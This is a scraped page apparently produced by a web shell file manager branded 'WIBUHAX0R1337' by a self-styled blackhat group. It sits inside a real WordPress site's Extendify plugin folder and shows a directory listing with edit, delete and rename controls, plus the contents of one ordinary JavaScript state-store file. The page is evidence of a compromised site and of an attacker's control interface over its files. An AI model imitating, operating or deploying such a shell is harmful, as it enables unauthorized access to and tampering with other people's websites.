-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
extendify
/
src
/
HelpCenter
/
state
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ai-chat.js
1.138KB
Edit File
Delete File
Rename
globals-sync.js
0.67KB
Edit File
Delete File
Rename
knowledge-base.js
2.225KB
Edit File
Delete File
Rename
user-selections.js
0.974KB
Edit File
Delete File
Rename
import apiFetch from '@wordpress/api-fetch'; import { safeParseJson } from '@shared/lib/parsing'; import { create } from 'zustand'; import { devtools, persist, createJSONStorage } from 'zustand/middleware'; const startingState = { siteType: { slug: '0default', name: 'Default', }, siteInformation: { title: undefined, }, style: null, pages: [], sitePlugins: [], // initialize the state with default values ...(safeParseJson(window.extSharedData.userData.userSelectionData)?.state ?? {}), }; const state = () => ({ ...startingState, // Add methods here }); const path = '/extendify/v1/shared/user-selections-data'; const storage = { getItem: async () => await apiFetch({ path }), setItem: async (_name, state) => await apiFetch({ path, method: 'POST', data: { state } }), }; export const useUserSelectionStore = create( persist(devtools(state, { name: 'Extendify User Selections' }), { storage: createJSONStorage(() => storage), skipHydration: true, }), state, );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat